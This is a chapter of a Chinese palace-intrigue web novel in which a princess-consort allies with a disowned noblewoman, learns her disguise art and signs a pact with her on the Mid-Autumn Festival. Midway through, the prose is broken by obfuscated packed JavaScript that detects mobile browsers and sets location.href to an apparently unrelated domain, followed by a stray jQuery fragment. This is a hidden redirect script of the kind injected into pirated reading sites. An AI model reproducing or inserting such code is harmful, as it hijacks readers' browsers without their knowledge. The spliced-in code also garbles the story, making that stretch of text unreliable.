沈禾姝眉头紧蹙,语气不解道:“怎么会是你?你不是应在殷府受罚吗?”


    殷芙春脸上挂着淡淡的笑,“王妃许久不见,今日民女来是为了与您合作,铲除漠北的恶气之风。可否进去说?”


    听见民女二字,沈禾姝一脸警惕,殷湘岚身为四大家族后人,自称臣女才合适。


    声音冰凉,“你要做什么?上一次在马场,姿玥的事是你做的吧,我不认为一个伤害盟友之人可以帮我做事。”


    殷芙春不恼,仍带着笑,“王妃不愿相信民女,民女完全理解,今日魏府上门的百姓,便是民女给王妃的见面礼。”


    沈禾姝不由瞪大眼,“你做的?你这个人此生最不可能做的,就是伤害殷家。”


    她行至殷湘岚身前,扬眉道:“先前,你买通茶楼里的人说我的闲话,找人给我使绊子。我猜,全都是为了阻止工事重筑吧。”


    换了副容颜的铃儿低着头,音量却出奇的大。


    “王妃,我家姑娘心地善良,先前都是迫不得已才那样做的,还请您大人有大量。”


    殷芙春没否认沈禾姝说的话。


    “不错,王妃猜的真准。我早已与殷府毫无瓜葛,也有了新名字,殷芙春。眼下,春儿只是个平民百姓,不会再伤害王妃了。”


    抬眸,对上沈禾姝探究的眼神,“王妃想知道的,春儿定知无不言。”


    沈禾姝盯着殷芙春思量着。


    也就半月未见,殷湘岚为何会同殷府断绝关系?又为何改了名字?殷芙春?


    芙春,芙春,她反复琢磨着。


    难不成是复仇?


    也罢,她在殷湘岚身上也有所求。


    她想从殷湘岚那儿,得知四大家族这些年所做的恶事。


    思及此,沈禾姝道:“你若是想同本王妃谋划,你必须告知本王妃你的所求。”


    殷芙春面上的笑淡了几分,咬牙道:“民女只想让这偌大的漠北城中,再无殷府!以民女一人之力定时做不到,还请王妃帮帮民女。”


    沈禾姝思虑良久,看来殷芙春这么恨殷府,她也没什么可顾虑的了。


    爽快地答应道:“好,我答应你。只是有一点,在魏府,切不可让别人知道你的身份。若是有人问起,就说是我新买的侍女,如何?”


    殷芙春敛衽行礼道:“但凭王妃做主。”


    沈禾姝凝视着面前人,她的身上完全没了之前的傲气,满心满眼只有复仇。


    她与殷芙春的关系也不是很好,就没过多问她与殷府的事。


    “站住!”殷芙春进了魏府就听见一个熟悉的声音,吓得她一激灵。


    她想也不想就知道是谁,急忙低下头。


    魏姿玥瞧着沈禾姝身后的人有些眼熟,叫住了她。


    一瘸一拐地走向殷芙春,沈禾姝在魏姿玥来之前挡在她身前。


    弯唇道:“姿玥,你怎的在这儿?医官不是让你静养吗?嫂嫂扶你回去如何?”


    魏姿玥给了沈禾姝一个白眼,语气不快道:“我是魏府的小姐,来府中闲逛都要向你说?我自己能走,为何要你扶着我!”


    偏头看向沈禾姝的身后,傲气道:“你后面的两个丫鬟,我看着十分眼熟,让她们抬头让我敲两眼。”


    沈禾姝拉起魏姿玥的手,面露难色,“姿玥,不是嫂嫂不给你瞧,因为她们脸都溃烂了,生怕吓到你。”


    魏姿玥不想废话,用力将沈禾姝推到一边,“我不怕,今天这两人的脸我是必须得看了,免得你将一些不三不四之人带到魏府。”


    沈禾姝踉跄了一下。


    很快反应过来,赶忙转身,眼见魏姿玥就要看到殷芙春的脸,她高声道:“别!”


    没等魏姿玥开口,殷芙春主动抬头。


    “呀!真是晦气!整张脸没几处好皮了都,真是吓死本小姐,赶快低下头去!”魏姿玥忍着腿上的疼痛,往后退了好几步,皱眉道。


    沈禾姝眸中满是震惊,适才还光滑水嫩脸上,此刻却满是坑坑洼洼,还有烫伤、划伤的痕迹。


    她调整好情绪,又挡在殷芙春身前,扯着嘴角道:“姿玥,都是嫂嫂不好,让你受了惊吓。既然你不愿我送你回去,我去找人将你送回。”


    魏姿玥背过身,冷声道:“不用!我只是受伤,又不是成了废人!你快些走,别让我看见她们两个!”


    沈禾姝点头应答,“好,你放心,这二人只在我厢房附近走动,定不会惊扰你。”


    她带着二人,快步走向自己的厢房那边,将二人领到梁谓房间门口,停下来脚步。


    沈禾姝再回头看,殷芙春的脸已恢复原样,这中间也就才一盏茶的功夫。


    她眼眸瞪得更大,指着殷芙春的脸。


    声音微颤,“你……怎的又变回原样了?适才你脸上的伤,就算是神医来了也不会好的这般快。”


    殷芙春弯了弯眼,轻启毫无血色的唇。


    “这是早年漠北民间的一种易容术,我也是跟着我娘学成的,现下也没几个人知晓了。”


    易容术,或许用这个在月末时前去胡境可以用的上。


    沈禾姝眉眼弯弯,“芙春,你可愿将这易容术教与本王妃。你放心,本王妃绝不用它祸害人。”


    殷芙春绞着双手,思虑良久,“好,王妃想要的,春儿定会满足。”


    铃儿拽着殷芙春的衣袖,眼底透着担忧,“姑娘,这术法是是夫人生前交给你的保命符,你当真要……”


    殷芙春眉头紧皱,“铃儿,不可这么说!王妃心地仁慈,这术法我是自愿教与她的。”


    沈禾姝心知,这二人眼下缺个住处、得罪了殷府,四处躲藏,才会来她这儿。


    这些话只不过是客套而已。


    看来,她也得拿出点诚意了。


    “一个易容术,换我们接下来所谈之事,只要不是伤天害理、祸害百姓的,我都会答应你。”沈禾姝走向自己的厢房,道。


    殷芙春扯起嘴角,让铃儿留在房外,她连忙跟上去。


    一进门,只见沈禾姝早已坐在桌案前。她挺直腰背,手拿狼毫,认真地写着东西。


    一缕透亮的光照进房来,正巧打在沈禾姝的身上。


    衬得沈禾姝很是柔美,但眉眼处又带着寻常高门大户女子所没有的韧劲。


    殷芙春暗淡了好几天的眸子,霎时发着光。


    她觉得眼前人,像极了母亲口中所说的,只为自己而活的女子。


    沈禾姝察觉到有人进来,手上动作没停,头也没抬,淡淡道:“将门带上,坐在面前的椅子上,我很快就好。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789939|174453||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    话音甫落,殷芙春虽满心疑惑,但还是坐在椅子上,眼睛一眨不眨地望着沈禾姝。


    过了半柱香时间,沈禾姝撂下狼毫,取下镇纸。


    她伸腰时抬了下头,在空中与殷芙春交汇了眼神。


    沈禾姝浅浅弯唇,殷芙春猛地低下头。


    待墨迹全干后,她拿着纸,缓步走向殷芙春对面的位置。


    见沈禾姝朝自己走来,殷芙春不安地搓着食指指腹。


    过了会儿,房中还是静默着。


    殷芙春将头抬起,瞧见了面前的宣纸,上密密麻麻,满是娟秀的字迹。


    她又看向对面,眸中露出不解。


    沈禾姝弯眼,淡淡开口。


    “既然你要与我合作,我们得有信物不成,这上面写的是我们双方该做的事。”


    “你且仔细瞧瞧,有什么缺的漏的,我给添上。”


    殷芙春点了点头,低下头仔细瞧着纸上的条款。


    半个时辰后,她将纸轻轻放在桌上。


    纸上的大多数条款是对她有益的,她也没有错处可以挑。


    殷芙春站起身,行礼道:“王妃可真是周到,将民女的问题都考虑到了,民女愿签下这份协议。”


    须臾,殷芙春已将名字签好,恭敬地递到沈禾姝面前。


    沈禾姝低眸,眸光为三个工整的字所停留。


    勾唇道:“这殷家虽在漠北几十年,可殷姑娘的字却与豪迈丝毫不符,反倒有几分江南的意蕴。”


    殷芙春一怔,贝齿轻咬着下唇的软肉,未几,面上重新恢复笑容。


    乐呵呵道:“王妃您真是说笑了,芙春自出生就没出过漠北。这字也是民女模仿名家所成。”


    镜月端着一盘小巧的月饼,在外面敲着门,笑着道:“王妃,今儿个是八月十五,阖家团圆的日子。”


    “魏夫人想着您第一次在漠北过节,叫人给您送来了月饼,是您最爱的荷花馅和茉莉馅。”


    “好,你且先等等,我待会儿就出去。”沈禾姝将纸张折好放在袖中,“协议既签,希望我们双方都能履行条约。”


    殷芙春起身,躬身道:“民女定当谨记,望王妃安心。今日佳节,民女就不打扰王妃了。”


    话罢,她转身,准备离去。


    “等等!”沈禾姝纠结许久,最终还是叫住了她。


    “你可有喜欢的月饼馅?你……虽离了殷府,可节日却是要好好过,我吩咐人做好给你送过去。”


    殷芙春脚步顿住。


    不由地想起了她及笄礼那日,病了许久的阿娘给她做了月饼,是她最爱的山楂馅。


    那是她最后一次吃月饼。


    殷芙春回首,努力挤出一个笑道:“多谢王妃美意,民女……早就不吃月饼了。”


    这笑容里,带着苦涩。


    “就不叨扰了。”说完,她快步离开。


    镜月将瓷盘放在桌上,皱眉道:“王妃,这姑娘是谁啊?今日这般重要的佳节,都来找您。”


    沈禾姝叹了口气,语气带着怜惜,“一个苦命女子罢了,日后,她变留在我身边,你好生照顾她些。”


    镜月见沈禾姝垂头丧气的,将盘子往她那边推了推,“不提她了,免的王妃伤心。您快尝尝,看合不合胃口。”